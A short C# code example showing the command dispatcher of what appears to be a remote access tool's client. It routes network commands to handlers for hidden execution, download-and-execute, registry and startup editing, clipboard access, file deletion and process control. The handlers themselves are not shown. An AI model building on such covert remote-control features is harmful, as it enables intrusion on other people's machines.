Example #1
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }